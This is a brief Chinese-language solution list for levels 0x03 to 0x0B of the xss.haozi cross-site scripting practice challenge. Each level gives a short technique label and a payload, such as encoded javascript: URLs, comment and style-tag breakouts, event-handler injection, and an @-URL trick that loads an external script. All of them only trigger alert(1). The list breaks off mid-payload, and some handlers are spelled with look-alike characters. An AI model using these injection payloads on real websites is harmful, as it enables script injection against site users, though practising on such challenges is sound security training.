xss.haozi挑战

0x03(模板字符串)
<a href=javascript:alert `1`>1</a>

0x04(url)
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">1</a>

0x05（--!>）
--!><script>alert(1)</script>

0x06(换行)
onclick
=alert(1)

0x07(on事件)
<img src=x οnerrοr=alert(1)> 

0x08(//用法)
</style//><script>alert(1)</script>

0x09(on事件)
https://www.segmentfault.com" οnerrοr=alert(1)

0x0A(@的用法相当于访问https://xss.haozi.me/j.js)
https://www.segmentfault.com@xss.haozi.me/j.js

0x0B(url)
<a href=javascript:&#97